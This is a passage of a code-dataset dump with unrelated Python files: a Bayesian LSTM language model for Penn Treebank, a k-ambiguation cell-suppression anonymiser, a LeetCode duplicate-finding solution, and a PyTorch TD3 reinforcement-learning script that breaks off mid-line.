axis=1)\n\n\t\tconcat = self._output(inputs, h)\n\t\ti, j, f, o = tf.split(value=concat, num_or_size_splits=4, axis=1)\n\n\t\tnew_c = (\n\t\t\tc * tf.sigmoid(f + self._forget_bias) + tf.sigmoid(i) * self._activation(j))\n\t\tnew_h = self._activation(new_c) * tf.sigmoid(o)\n\n\t\tif self._state_is_tuple:\n\t\t\tnew_state = tf.contrib.rnn.LSTMStateTuple(c=new_c, h=new_h)\n\t\telse:\n\t\t\tnew_state = tf.concat(values=[new_c, new_h], axis=1)\n\n\t\treturn new_h, new_state\n\n\nclass PTBInput(object):\n\t\"\"\"The input data.\"\"\"\n\n\tdef __init__(self, config, data, name=None):\n\t\tself.batch_size = batch_size = config.batch_size\n\t\tself.num_steps = num_steps = config.num_steps\n\t\tself.epoch_size = ((len(data) // batch_size) - 1) // num_steps\n\t\tself.input_data, self.targets = reader.ptb_producer(\n\t\t\tdata, batch_size, num_steps, name=name)\n\n\nclass PTBModel(object):\n\tdef __init__(self, is_training, config, input_):\n\t\tself._is_training = is_training\n\t\tself._input = input_\n\t\tself._rnn_params = None\n\t\tself._cell = None\n\t\tself.batch_size = input_.batch_size\n\t\tself.num_steps = input_.num_steps\n\t\tsize = config.hidden_size\n\t\tvocab_size = config.vocab_size\n\n\t\t# Construct prior\n\t\tprior = Prior(config.prior_pi, config.log_sigma1, config.log_sigma2)\n\n\t\twith tf.device(\"/cpu:0\"):\n\t\t\tembedding = get_bbb_variable([vocab_size, size], 'embedding', prior, is_training)\n\t\t\tinputs = tf.nn.embedding_lookup(embedding, input_.input_data)\n\n\t\t# Build the BBB LSTM cells\n\t\tcells = []\n\t\ttheta_shape = (size + config.hidden_size, 4 * config.hidden_size)\n\t\tb_shape = (4 * config.hidden_size, 1)\n\t\tfor i in range(config.num_layers):\n\t\t\ttheta = get_bbb_variable(theta_shape, 'theta_{}'.format(i), prior, is_training)\n\t\t\tif config.b_stochastic:\n\t\t\t\tb = get_bbb_variable(b_shape, 'b_{}'.format(i), prior, is_training)\n\t\t\telse:\n\t\t\t\t# Note: Reuse is passed down from variable scope in main()\n\t\t\t\tb = tf.get_variable('b_{}'.format(i), b_shape, data_type(),\n\t\t\t\t tf.constant_initializer(0.))\n\t\t\tcells.append(BayesianLSTM(config.hidden_size, theta, b, forget_bias=0.0,\n\t\t\t name='bbb_lstm_{}'.format(i)))\n\n\t\tcell = tf.contrib.rnn.MultiRNNCell(cells, state_is_tuple=True)\n\t\tself._initial_state = cell.zero_state(config.batch_size, data_type())\n\t\tstate = self._initial_state\n\n\t\t# Forward pass for the truncated mini-batch\n\t\twith tf.variable_scope(\"RNN\"):\n\t\t\tinputs = tf.unstack(inputs, num=config.num_steps, axis=1)\n\t\t\toutputs, state = tf.contrib.rnn.static_rnn(cell, inputs,\n\t\t\t initial_state=state)\n\n\t\t\toutput = tf.reshape(tf.concat(outputs, 1), [-1, config.hidden_size])\n\n\t\t# Softmax BBB output projection layer\n\t\tsoftmax_w_shape = (size, vocab_size)\n\t\tsoftmax_b_shape = (vocab_size, 1)\n\t\tsoftmax_w = get_bbb_variable(softmax_w_shape, 'softmax_w', prior, is_training)\n\n\t\tif config.b_stochastic:\n\t\t\tsoftmax_b = get_bbb_variable(softmax_b_shape, 'softmax_b', prior, is_training)\n\t\telse:\n\t\t\tsoftmax_b = tf.get_variable('softmax_b', softmax_b_shape, data_type(),\n\t\t\t tf.constant_initializer(0.))\n\n\t\tlogits = tf.nn.xw_plus_b(output, softmax_w, tf.squeeze(softmax_b))\n\n\t\t# Reshape logits to be a 3-D tensor for sequence loss\n\t\tlogits = tf.reshape(logits, [self.batch_size, self.num_steps, vocab_size])\n\n\t\t# Use the contrib sequence loss and average over the batches\n\t\tloss = tf.contrib.seq2seq.sequence_loss(\n\t\t\tlogits,\n\t\t\tinput_.targets,\n\t\t\ttf.ones([self.batch_size, self.num_steps], dtype=data_type()),\n\t\t\taverage_across_timesteps=False,\n\t\t\taverage_across_batch=False)\n\n\t\t# Update the cost\n\t\tself._cost = tf.reduce_sum(loss) / self.batch_size\n\t\tself._kl_div = 0.\n\t\tself._final_state = state\n\n\t\tif not is_training:\n\t\t\treturn\n\n\t\t# Compute KL divergence for each cell, projection layer and embedding layer.\n\t\t# KL is scaled by 1./(B*C) as in the paper\n\t\tkl_const = self._input.epoch_size\n\t\tkl_div = tf.add_n(tf.get_collection('KL_layers'), 'kl_divergence')\n\n\t\t# ELBO\n\t\tself._kl_div = (1. / self.batch_size) * kl_div * (1. / kl_const)\n\t\tself._total_loss = self._cost + self._kl_div\n\n\t\t# Learning rate & optimization\n\t\tself._lr = tf.Variable(0.0, trainable=False)\n\t\ttvars = tf.trainable_variables()\n\t\tgrads, _ = tf.clip_by_global_norm(tf.gradients(self._total_loss, tvars),\n\t\t config.max_grad_norm)\n\t\toptimizer = tf.train.GradientDescentOptimizer(self._lr)\n\t\tself._train_op = optimizer.apply_gradients(\n\t\t\tzip(grads, tvars),\n\t\t\tglobal_step=tf.contrib.framework.get_or_create_global_step())\n\n\t\tself._new_lr = tf.placeholder(\n\t\t\tdata_type(), shape=[], name=\"new_learning_rate\")\n\t\tself._lr_update = tf.assign(self._lr, self._new_lr)\n\n\tdef assign_lr(self, session, lr_value):\n\t\tsession.run(self._lr_update, feed_dict={self._new_lr: lr_value})\n\n\tdef export_ops(self, name):\n\t\t\"\"\"Exports ops to collections.\"\"\"\n\t\tself._name = name\n\t\tops = {util.with_prefix(self._name, \"cost\"): self._cost,\n\t\t util.with_prefix(self._name, \"kl_div\"): self._kl_div}\n\t\tif self._is_training:\n\t\t\tops.update(lr=self._lr, new_lr=self._new_lr, lr_update=self._lr_update)\n\t\t\tif self._rnn_params:\n\t\t\t\tops.update(rnn_params=self._rnn_params)\n\t\tfor name, op in ops.items():\n\t\t\ttf.add_to_collection(name, op)\n\t\tself._initial_state_name = util.with_prefix(self._name, \"initial\")\n\t\tself._final_state_name = util.with_prefix(self._name, \"final\")\n\t\tutil.export_state_tuples(self._initial_state, self._initial_state_name)\n\t\tutil.export_state_tuples(self._final_state, self._final_state_name)\n\n\tdef import_ops(self):\n\t\t\"\"\"Imports ops from collections.\"\"\"\n\t\tif self._is_training:\n\t\t\tself._train_op = tf.get_collection_ref(\"train_op\")[0]\n\t\t\tself._lr = tf.get_collection_ref(\"lr\")[0]\n\t\t\tself._new_lr = tf.get_collection_ref(\"new_lr\")[0]\n\t\t\tself._lr_update = tf.get_collection_ref(\"lr_update\")[0]\n\t\t\trnn_params = tf.get_collection_ref(\"rnn_params\")\n\t\t\tif self._cell and rnn_params:\n\t\t\t\tparams_saveable = tf.contrib.cudnn_rnn.RNNParamsSaveable(\n\t\t\t\t\tself._cell,\n\t\t\t\t\tself._cell.params_to_canonical,\n\t\t\t\t\tself._cell.canonical_to_params,\n\t\t\t\t\trnn_params,\n\t\t\t\t\tbase_variable_scope=\"Model/RNN\")\n\t\t\t\ttf.add_to_collection(tf.GraphKeys.SAVEABLE_OBJECTS, params_saveable)\n\t\tself._cost = tf.get_collection_ref(util.with_prefix(self._name, \"cost\"))[0]\n\t\tself._kl_div = tf.get_collection_ref(util.with_prefix(self._name, \"kl_div\"))[0]\n\t\tnum_replicas = 1\n\t\tself._initial_state = util.import_state_tuples(\n\t\t\tself._initial_state, self._initial_state_name, num_replicas)\n\t\tself._final_state = util.import_state_tuples(\n\t\t\tself._final_state, self._final_state_name, num_replicas)\n\n\t@property\n\tdef input(self):\n\t\treturn self._input\n\n\t@property\n\tdef initial_state(self):\n\t\treturn self._initial_state\n\n\t@property\n\tdef cost(self):\n\t\treturn self._cost\n\n\t@property\n\tdef final_state(self):\n\t\treturn self._final_state\n\n\t@property\n\tdef lr(self):\n\t\treturn self._lr\n\n\t@property\n\tdef train_op(self):\n\t\treturn self._train_op\n\n\t@property\n\tdef initial_state_name(self):\n\t\treturn self._initial_state_name\n\n\t@property\n\tdef final_state_name(self):\n\t\treturn self._final_state_name\n\n\t@property\n\tdef kl_div(self):\n\t\treturn self._kl_div if self._is_training else tf.constant(0.)\n\n\nclass SmallConfig(object):\n\t\"\"\"Small config.\"\"\"\n\tinit_scale = 0.1\n\tlearning_rate = 1.0\n\tmax_grad_norm = 5\n\tnum_layers = 2\n\tnum_steps = 20\n\thidden_size = 200\n\tmax_epoch = 4\n\tmax_max_epoch = 13\n\tkeep_prob = 1.0\n\tlr_decay = 0.5\n\tbatch_size = 20\n\tvocab_size = 10000\n\n\nclass MediumConfig(object):\n\t\"\"\"\n\tMedium config.\n\tSlightly modified according to email.\n\t\"\"\"\n\tinit_scale = 0.05\n\tlearning_rate = 1.0\n\tmax_grad_norm = 5\n\tnum_layers = 2\n\tnum_steps = 35\n\thidden_size = 650\n\tmax_epoch = 20\n\tmax_max_epoch = 60\n\tkeep_prob = 1.0\n\tlr_decay = 0.9\n\tbatch_size = 20\n\tvocab_size = 10000\n\n\nclass LargeConfig(object):\n\t\"\"\"Large config.\"\"\"\n\tinit_scale = 0.04\n\tlearning_rate = 1.0\n\tmax_grad_norm = 10\n\tnum_layers = 2\n\tnum_steps = 35\n\thidden_size = 1500\n\tmax_epoch = 14\n\tmax_max_epoch = 55\n\tkeep_prob = 0.35\n\tlr_decay = 1 / 1.15\n\tbatch_size = 20\n\tvocab_size = 10000\n\n\nclass TestConfig(object):\n\t\"\"\"Tiny config, for testing.\"\"\"\n\tinit_scale = 0.1\n\tlearning_rate = 1.0\n\tmax_grad_norm = 1\n\tnum_layers = 1\n\tnum_steps = 2\n\thidden_size = 2\n\tmax_epoch = 1\n\tmax_max_epoch = 1\n\tkeep_prob = 1.0\n\tlr_decay = 0.5\n\tbatch_size = 20\n\tvocab_size = 10000\n\n\ndef run_epoch(session, model, eval_op=None, verbose=False):\n\t\"\"\"Runs the model on the given data.\"\"\"\n\tstart_time = time.time()\n\tcosts = 0.0\n\titers = 0\n\tstate = session.run(model.initial_state)\n\n\tfetches = {\n\t\t\"cost\": model.cost,\n\t\t\"final_state\": model.final_state,\n\t}\n\tif eval_op is not None:\n\t\tfetches[\"eval_op\"] = eval_op\n\t\tfetches[\"kl_divergence\"] = model.kl_div\n\n\tfor step in range(model.input.epoch_size):\n\t\tfeed_dict = {}\n\t\tfor i, (c, h) in enumerate(model.initial_state):\n\t\t\tfeed_dict[c] = state[i].c\n\t\t\tfeed_dict[h] = state[i].h\n\n\t\tvals = session.run(fetches, feed_dict)\n\t\tcost = vals[\"cost\"]\n\t\tstate = vals[\"final_state\"]\n\n\t\tcosts += cost\n\t\titers += model.input.num_steps\n\n\t\tif verbose and (step % (model.input.epoch_size // 10) == 10 or step == 0):\n\t\t\tprint(\"%.3f perplexity: %.3f speed: %.0f wps\" %\n\t\t\t (step * 1.0 / model.input.epoch_size, np.exp(costs / iters),\n\t\t\t iters * model.input.batch_size / (time.time() - start_time)))\n\n\t\t\tif model._is_training:\n\t\t\t\tprint(\"KL is {}\".format(vals[\"kl_divergence\"]))\n\n\treturn np.exp(costs / iters)\n\n\ndef change_random_seed(seed):\n\tglobal prng\n\tprng = np.random.RandomState(seed)\n\ttf.set_random_seed(seed)\n\n\ndef run():\n\tif not FLAGS.data_path:\n\t\traise ValueError(\"Must set --data_path to PTB data directory\")\n\n\tchange_random_seed(FLAGS.random_seed)\n\n\traw_data = reader.ptb_raw_data(FLAGS.data_path)\n\ttrain_data, valid_data, test_data, _ = raw_data\n\n\tconfig = get_config()\n\teval_config = get_config()\n\teval_config.batch_size = 1\n\teval_config.num_steps = 1\n\n\twith tf.Graph().as_default():\n\t\tinitializer = tf.random_uniform_initializer(-config.init_scale,\n\t\t config.init_scale)\n\n\t\twith tf.name_scope(\"Train\"):\n\t\t\ttrain_input = PTBInput(config=config, data=train_data, name=\"TrainInput\")\n\t\t\twith tf.variable_scope(\"Model\", reuse=None, initializer=initializer):\n\t\t\t\tm = PTBModel(is_training=True, config=config, input_=train_input)\n\t\t\ttf.summary.scalar(\"Training Loss\", m.cost)\n\t\t\ttf.summary.scalar(\"Learning Rate\", m.lr)\n\n\t\twith tf.name_scope(\"Valid\"):\n\t\t\tvalid_input = PTBInput(config=config, data=valid_data, name=\"ValidInput\")\n\t\t\twith tf.variable_scope(\"Model\", reuse=True, initializer=initializer):\n\t\t\t\tmvalid = PTBModel(is_training=False, config=config, input_=valid_input)\n\t\t\ttf.summary.scalar(\"Validation Loss\", mvalid.cost)\n\n\t\twith tf.name_scope(\"Test\"):\n\t\t\ttest_input = PTBInput(\n\t\t\t\tconfig=eval_config, data=test_data, name=\"TestInput\")\n\t\t\twith tf.variable_scope(\"Model\", reuse=True, initializer=initializer):\n\t\t\t\tmtest = PTBModel(is_training=False, config=eval_config,\n\t\t\t\t input_=test_input)\n\n\t\tmodels = {\"Train\": m, \"Valid\": mvalid, \"Test\": mtest}\n\t\tfor name, model in models.items():\n\t\t\tmodel.export_ops(name)\n\t\tmetagraph = tf.train.export_meta_graph()\n\t\tsoft_placement = False\n\n\twith tf.Graph().as_default():\n\t\ttf.train.import_meta_graph(metagraph)\n\t\tfor model in models.values():\n\t\t\tmodel.import_ops()\n\t\tsv = tf.train.Supervisor(logdir=FLAGS.save_path)\n\t\tconfig_proto = tf.ConfigProto(allow_soft_placement=soft_placement)\n\t\twith sv.managed_session(config=config_proto) as session:\n\t\t\tfor i in range(config.max_max_epoch):\n\t\t\t\tlr_decay = config.lr_decay ** max(i + 1 - config.max_epoch, 0.0)\n\t\t\t\tm.assign_lr(session, config.learning_rate * lr_decay)\n\n\t\t\t\tprint(\"Epoch: %d Learning rate: %.3f\" % (i + 1, session.run(m.lr)))\n\t\t\t\ttrain_perplexity = run_epoch(session, m, eval_op=m.train_op,\n\t\t\t\t verbose=True)\n\t\t\t\tprint(\"Epoch: %d Train Perplexity: %.3f\" % (i + 1, train_perplexity))\n\t\t\t\tvalid_perplexity = run_epoch(session, mvalid)\n\t\t\t\tprint(\"Epoch: %d Valid Perplexity: %.3f\" % (i + 1, valid_perplexity))\n\n\t\t\ttest_perplexity = run_epoch(session, mtest)\n\t\t\tprint(\"Test Perplexity: %.3f\" % test_perplexity)\n\n\t\t\tif FLAGS.save_path:\n\t\t\t\tprint(\"Saving model to %s.\" % FLAGS.save_path)\n\t\t\t\tsv.saver.save(session, FLAGS.save_path, global_step=sv.global_step)\n\n\nif __name__ == '__main__':\n\trun()\n","repo_name":"alexkrk/brnn","sub_path":"ptb_word_lm3.py","file_name":"ptb_word_lm3.py","file_ext":"py","file_size_in_byte":17979,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"52"} +{"seq_id":"70765095524","text":"__all__ = ['minkunion', 'mtocollection', 'kambiguate']\n\nfrom itertools import izip, imap\n\nargmax = lambda funct, items: max(izip(imap(funct, items), items))\nargmin = lambda funct, items: min(izip(imap(funct, items), items))\n\ndef minkunion(collection, k):\n '''try to find the minimum k-union of the input collection'''\n if len(collection) < k:\n return []\n sol = []\n cover = set()\n avail = set(range(len(collection)))\n for idx in xrange(k):\n best = argmin(lambda i : len(cover | collection[i]), avail)[1]\n sol.append(best)\n cover |= collection[best]\n avail.remove(best)\n return cover\n\ndef mtocollection(m, target):\n '''construct discernibility matrix (collection) relative to target'''\n v = m[target]\n collection = []\n for i,row in enumerate(m):\n if i == target:\n continue\n collection.append(set([j for j in xrange(len(v)) if v[j] != row[j]]))\n return collection\n\ndef kambiguate(m,k):\n '''k-ambiguate input matrix by cell suppression'''\n newm = []\n for i,r in enumerate(m):\n newr = [x for x in r]\n for j in minkunion(mtocollection(m,i), k):\n newr[j] = '?'\n newm.append(newr)\n return newm\n\n\nif __name__ == \"__main__\":\n try:\n import psyco\n psyco.full()\n pass\n except ImportError:\n pass\n\n from urllib import urlopen\n from optparse import OptionParser\n from logging import debug, warning, error, info\n import logging\n import re\n import sys\n import os\n \n progname = os.path.basename(sys.argv[0])\n url = progname\n Version = \"0.01\"\n parser = OptionParser(usage = \"\".join(\n [\"%prog [options] URL\\n\",\n \"\\n Version: \", Version, \" SAV (C) 2009\\n\",\n \" K-ambiguate by cell suppression.\\n\\n\",\n \" URL points to a rectangular data table where the first line\\n\",\n \" contains attribute names. Table entries are separated by /\\s,:/.\\n\",\n \" URL can also be a simple filename or '-' for stdin.\\n\"]),\n version = ''.join([\"%prog \",Version,\" (C) SAV 2009\"]))\n parser.add_option(\"-v\", \"--verbose\", dest=\"verbose\", action=\"count\",\n default = 0,\n help=\"print more stuff than strictly needed. Given\"\n \" twice results in debug info.\")\n parser.add_option(\"-k\", dest=\"k\", type='int',\n default=5, metavar='INTEGER',\n help=\"Ambiguation: how many original data \"\n \"points must match the suppressed row.\"\n \"(default: '%default')\")\n parser.add_option(\"-e\", \"--explain\", dest=\"explain\",\n default=False, action=\"store_true\",\n help=\"print description of what this program does.\")\n\n (opt, args) = parser.parse_args()\n\n verbose = opt.verbose > 0\n logging.basicConfig(level=max(logging.DEBUG,\n logging.WARNING - 10*opt.verbose),\n format='%(levelname)-5s %(message)s')\n\n if opt.explain:\n print(__doc__ % {'prog': progname,\n 'version' : Version,\n 'url': url})\n sys.exit(0)\n\n\n if len(args) < 1:\n error(\"Missing input file. Try -h for help.\")\n sys.exit(1)\n\n info('fetching data...')\n f = (args[0] == '-' and sys.stdin or urlopen(args[0]))\n rex = re.compile('[\\s,:]') # separators are whitespace, ',' and ':'\n m = [rex.split(line.strip()) for line in f]\n # remove empty and comment lines (start with '#')\n m = filter(lambda r: (not all(map(lambda x: x == '', r))\n and (r[0] == '' or r[0][0] != '#')), m)\n info('fetched ' + str(len(m) - 1) + ' rows.') \n\n info(str(opt.k) + '-ambiguating...')\n tra = kambiguate(m[1:],opt.k) # note that we are assuming that the first\n # line contains column (attribute) names\n\n info('printing output...')\n print(' '.join(m[0])) # print column names\n for row in tra:\n print(' '.join(row))\n info('done.\\n') \n\n \n","repo_name":"Beerkay/laats.github.io","sub_path":"sw/msj/minkunion.py","file_name":"minkunion.py","file_ext":"py","file_size_in_byte":4132,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"3728669379","text":"#return an array that indicates appearing twice in array nums\n#input nums = [4,3,2,7,8,2,3,1], return [2,3]\nfrom typing import List\n\ndef findDuplicates(nums: List[int]) -> List[int]:\n # *O(n)search* dicを作り、keyにnumsの数字、valueに出てきた回数を記録\n dic = {}\n for i in range(len(nums)):\n if nums[i] not in dic:\n dic[nums[i]] = 1\n else:\n dic[nums[i]] += 1\n\n return [twice for twice in dic if dic[twice] == 2]\n\nnums = [4,3,2,7,8,2,3,1]\nprint(findDuplicates(nums))\n","repo_name":"kumo2kumo/CodingProblems","sub_path":"LeetCode/Find All Duplicates in an Array.py","file_name":"Find All Duplicates in an Array.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"25170231849","text":"#深度强化学习——原理、算法与PyTorch实战,代码名称:代41-TD3算法的实验过程.py\r\nimport numpy as np\r\nimport torch\r\nimport gym\r\nimport os\r\nimport copy\r\nimport numpy as np\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\n\r\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\r\n\r\nclass ReplayBuffer(object):\r\n def __init__(self, state_dim, action_dim, max_size=int(1e6)):\r\n self.max_size = max_size # 最大容量\r\n self.ptr = 0 # 添加索引\r\n self.size = 0 # 容量\r\n\r\n self.state = np.zeros((max_size, state_dim)) # 一行一个状态\r\n self.action = np.zeros((max_size, action_dim))\r\n self.next_state = np.zeros((max_size, state_dim))\r\n self.reward = np.zeros((max_size, 1))\r\n self.not_done = np.zeros((max_size, 1))\r\n\r\n self.device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\r\n\r\n def add(self, state, action, next_state, reward, done):\r\n self.state[self.ptr] = state\r\n self.action[self.ptr] = action\r\n self.next_state[self.ptr] = next_state\r\n self.reward[self.ptr] = reward\r\n self.not_done[self.ptr] = 1. - done\r\n\r\n self.ptr = (self.ptr + 1) % self.max_size # 每添加一次索引加一直到max时归零\r\n self.size = min(self.size + 1, self.max_size) # 不超过max_size\r\n\r\n def sample(self, batch_size):\r\n ind = np.random.randint(0, self.size, size=batch_size) # 采样索引\r\n\r\n return (\r\n torch.FloatTensor(self.state[ind]).to(self.device),\r\n torch.FloatTensor(self.action[ind]).to(self.device),\r\n torch.FloatTensor(self.next_state[ind]).to(self.device),\r\n torch.FloatTensor(self.reward[ind]).to(self.device),\r\n torch.FloatTensor(self.not_done[ind]).to(self.device)\r\n )\r\n # 全连接层需要我们把输入拉直成一个列向量 不同于卷积神经网络[,,,]\r\n # 输入是图像需要进行标准化(x-u)/std 神经网络学习的本质就是为了学习的数据分布,\r\n # 一旦训练数据与测试数据分布不同,那么网络的泛化性能会大大降低 \r\n # 标准化的作用仅仅是将数据拉回到同一个量级,使网络更容易学习\r\nclass Actor(nn.Module):\r\n def __init__(self, state_dim, action_dim, max_action):\r\n super(Actor, self).__init__()\r\n\r\n self.l1 = nn.Linear(state_dim, 256)\r\n self.l2 = nn.Linear(256, 256)\r\n self.l3 = nn.Linear(256, action_dim)\r\n\r\n self.max_action = max_action # 改为倒立摆后 state[,,] \r\n\r\n def forward(self, state):\r\n a = F.relu(self.l1(state))\r\n a = F.relu(self.l2(a))\r\n return self.max_action * torch.tanh(self.l3(a)) # 输出为连续动作值[-2,2]\r\n \r\n \r\n\r\nclass Critic(nn.Module):\r\n def __init__(self, state_dim, action_dim):\r\n super(Critic, self).__init__()\r\n # 为解决过高估,用较小的Q值去构造Critic学习的Target Value\r\n # Q1 architecture\r\n self.l1 = nn.Linear(state_dim + action_dim, 256)\r\n self.l2 = nn.Linear(256, 256)\r\n self.l3 = nn.Linear(256, 1)\r\n\r\n # Q2 architecture\r\n self.l4 = nn.Linear(state_dim + action_dim, 256)\r\n self.l5 = nn.Linear(256, 256)\r\n self.l6 = nn.Linear(256, 1)\r\n\r\n def forward(self, state, action):\r\n # 前向传播时求Q(s,a) 需要拼接再输入 行向量?\r\n sa = torch.cat([state, action], 1)\r\n\r\n q1 = F.relu(self.l1(sa))\r\n q1 = F.relu(self.l2(q1))\r\n q1 = self.l3(q1)\r\n\r\n q2 = F.relu(self.l4(sa))\r\n q2 = F.relu(self.l5(q2))\r\n q2 = self.l6(q2)\r\n return q1, q2\r\n # actor_loss = -self.critic.Q1(state, self.actor(state)).mean()\r\n def Q1(self, state, action):\r\n sa = torch.cat([state, action], 1)\r\n\r\n q1 = F.relu(self.l1(sa))\r\n q1 = F.relu(self.l2(q1))\r\n q1 = self.l3(q1)\r\n return q1\r\n\r\n# actor1=Actor(17,6,1.0)\r\nactor1=Actor(3,1,2.0)\r\n# self.children()只包括网络模块的第一代儿子模块,而self.modules()包含网络模块的自己本身和所有后代模块。\r\nfor ch in actor1.children():\r\n print(ch)\r\nprint(\"*********************\")\r\ncritic1=Critic(3,1)\r\nfor ch in critic1.children():\r\n print(ch)\r\n\r\nclass TD3(object):\r\n def __init__(\r\n self,\r\n state_dim,\r\n action_dim,\r\n max_action,\r\n discount=0.99,\r\n tau=0.005,\r\n policy_noise=0.2,\r\n noise_clip=0.5,\r\n policy_freq=2\r\n ):\r\n\r\n self.actor = Actor(state_dim, action_dim, max_action).to(device)\r\n self.actor_target = copy.deepcopy(self.actor) # 创建目标策略网络\r\n self.actor_optimizer = torch.optim.Adam(self.actor.parameters(), lr=3e-4)\r\n\r\n self.critic = Critic(state_dim, action_dim).to(device)\r\n self.critic_target = copy.deepcopy(self.critic) # 创建目标价值网络\r\n self.critic_optimizer = torch.optim.Adam(self.critic.parameters(), lr=3e-4)\r\n\r\n self.max_action = max_action\r\n self.discount = discount\r\n self.tau = tau\r\n self.policy_noise = policy_noise\r\n self.noise_clip = noise_clip\r\n self.policy_freq = policy_freq\r\n\r\n self.total_it = 0\r\n\r\n\r\n def select_action(self, state):\r\n # 化为向量形式方面linear网络输入\r\n state = torch.FloatTensor(state.reshape(1, -1)).to(device)\r\n return self.actor(state).cpu().data.numpy().flatten()\r\n\r\n\r\n def train(self, replay_buffer, batch_size=100):\r\n self.total_it += 1 # 用于策略网络和价值网络的不同步\r\n\r\n # Sample replay buffer 都应该加s(多数)\r\n state, action, next_state, reward, not_done = replay_buffer.sample(batch_size)\r\n\r\n \"\"\" 在交互的时候,a加上了了noise。这个时候的noise是为了更充分地开发整个游戏空间。\r\n 计算target_Q的时候,a'加上noise,是为了预估更准确,网络更有健壮性。\r\n 更新actor网络的时候,我们不需要加上noise,这里是希望actor能够寻着最大值。加上noise并没有任何意义\r\n \"\"\"\r\n # pytorch对于tensor的计算操作,默认是要进行计算图的构建的,在这种情况下,\r\n # 可以使用 with torch.no_grad():,强制之后的内容不进行计算图构建,反向传播\r\n # 因为后面要取最小值和软更新 不是立即改变网络参数\r\n with torch.no_grad():\r\n # Select action according to policy(探索) noise and add clipped noise\r\n # randn_like返回一个和输入大小相同的张量,其由均值为0、方差为1的标准正态分布填充\r\n noise = (\r\n torch.randn_like(action) * self.policy_noise\r\n ).clamp(-self.noise_clip, self.noise_clip)\r\n # clip(a' + noise)-> (-2.0,2.0) clip防止action超出范围\r\n next_action = (\r\n self.actor_target(next_state) + noise\r\n ).clamp(-self.max_action, self.max_action)\r\n\r\n # Compute the target Q value\r\n target_Q1, target_Q2 = self.critic_target(next_state, next_action)\r\n target_Q = torch.min(target_Q1, target_Q2) # 用target网络的Double Q',一共6个网络\r\n target_Q = reward + not_done * self.discount * target_Q # y\r\n\r\n # Get current Q estimates\r\n current_Q1, current_Q2 = self.critic(state, action)\r\n\r\n # Compute critic loss (Double Q的loss和)\r\n # torch.mean()有必要加上 梯度累积时,记得要除以累积次数 ,不然梯度会太大导致训练异常(actor和critic) 这里加不加效果一样\r\n critic_loss = torch.mean(F.mse_loss(current_Q1, target_Q) + F.mse_loss(current_Q2, target_Q))\r\n\r\n # Optimize the critic\r\n self.critic_optimizer.zero_grad()\r\n critic_loss.backward()\r\n self.critic_optimizer.step()\r\n\r\n # Delayed policy updates\r\n if self.total_it % self.policy_freq == 0:\r\n\r\n # Compute actor losse 评论家更新d次后行动家再更新 mean():batch_size 负号:最大化J\r\n # 更新行动家网络时的a不需要加noise,因为这只是 Loss = -Q(s,a) 即最大化Q(J)\r\n actor_loss = -self.critic.Q1(state, self.actor(state)).mean()\r\n\r\n # Optimize the actor\r\n self.actor_optimizer.zero_grad()\r\n actor_loss.backward()\r\n self.actor_optimizer.step()\r\n\r\n # Update the frozen target models 软更新\r\n for param, target_param in zip(self.critic.parameters(), self.critic_target.parameters()):\r\n target_param.data.copy_(self.tau * param.data + (1 - self.tau) * target_param.data)\r\n\r\n for param, target_param in zip(self.actor.parameters(), self.actor_target.parameters()):\r\n target_param.data.copy_(self.tau * param.data + (1 - self.tau) * target_param.data)\r\n\r\n\r\n def save(self, filename):\r\n # pytorch 中的 state_dict 是一个简单的python的字典对象,将每一层与它的对应参数建立映射关系\r\n # torch.save(model.state_dict(), PATH) \r\n # 常用的保存state_dict的格式是\".pt\"或'.pth'的文件,即下面命令的 PATH=\"./***.pt\"\r\n torch.save(self.critic.state_dict(), filename + \"_critic\")\r\n torch.save(self.critic_optimizer.state_dict(), filename + \"_critic_optimizer\")\r\n\r\n torch.save(self.actor.state_dict(), filename + \"_actor\")\r\n torch.save(self.actor_optimizer.state_dict(), filename + \"_actor_optimizer\")\r\n\r\n\r\n def load(self, filename):\r\n self.critic.load_state_dict(torch.load(filename + \"_critic\"))\r\n self.critic_optimizer.load_state_dict(torch.load(filename + \"_critic_optimizer\"))\r\n self.critic_target = copy.deepcopy(self.critic)\r\n\r\n self.actor.load_state_dict(torch.load(filename + \"_actor\"))\r\n self.actor_optimizer.load_state_dict(torch.load(filename + \"_actor_optimizer\"))\r\n self.actor_target = copy.deepcopy(self.actor)\r\n\r\n# Runs policy for X episodes and returns average reward\r\n# A fixed seed is used for the eval environment 评估策略\r\ndef eval_policy(policy, env_name, seed, eval_episodes=10):\r\n eval_env = gym.make(env_name)\r\n eval_env.seed(seed + 100) #固定随机种子生成的随机值保证每次训练相同\r\n\r\n avg_reward = 0.\r\n for _ in range(eval_episodes):\r\n state, done = eval_env.reset(), False # done = False\r\n while not done:\r\n # env.render()\r\n action = policy.select_action(np.array(state))\r\n state, reward, done, _ = eval_env.step(action)\r\n avg_reward += reward\r\n \r\n\r\n avg_reward /= eval_episodes # 平均每个episode的奖励\r\n\r\n print(\"---------------------------------------\")\r\n print(f\"Evaluation over {eval_episodes} episodes: {avg_reward:.3f}\")\r\n print(\"---------------------------------------\")\r\n return avg_reward\r\n\r\n\r\npolicy = \"TD3\"\r\nenv_name = \"Pendulum-v0\" # OpenAI gym environment name\r\nseed = 0 # Sets Gym, PyTorch and Numpy seeds\r\nstart_timesteps = 25e3 # 如果小于25e3步,就随机,如果大于就用get-action :e-greedy策略\r\neval_freq = 5e3 # How often (time steps) we evaluate 5e3\r\nmax_timesteps = 1e6 # Max time steps to run environment 10e6\r\nexpl_noise = 0.1 # Std of Gaussian exploration noise\r\nbatch_size = 256 # Batch size for both actor and critic\r\ndiscount = 0.99 # Discount factor\r\ntau = 0.005 # Target network update rate\r\npolicy_noise = 0.2 # Noise added to target policy during critic update\r\nnoise_clip = 0.5 # Range to clip target policy noise\r\npolicy_freq = 2 # Frequency of delayed policy updates\r\nsave_model = \"store_true\" # Save model and optimizer parameters\r\nload_model = \"\" # Model load file name, \"\" doesn't load, \"default\" uses file_name\r\n\r\n# Python3.6新加特性,前缀f用来格式化字符串。可以看出f前缀可以更方便的格式化字符串,比format()方法可读性高且使用方便\r\nfile_name = 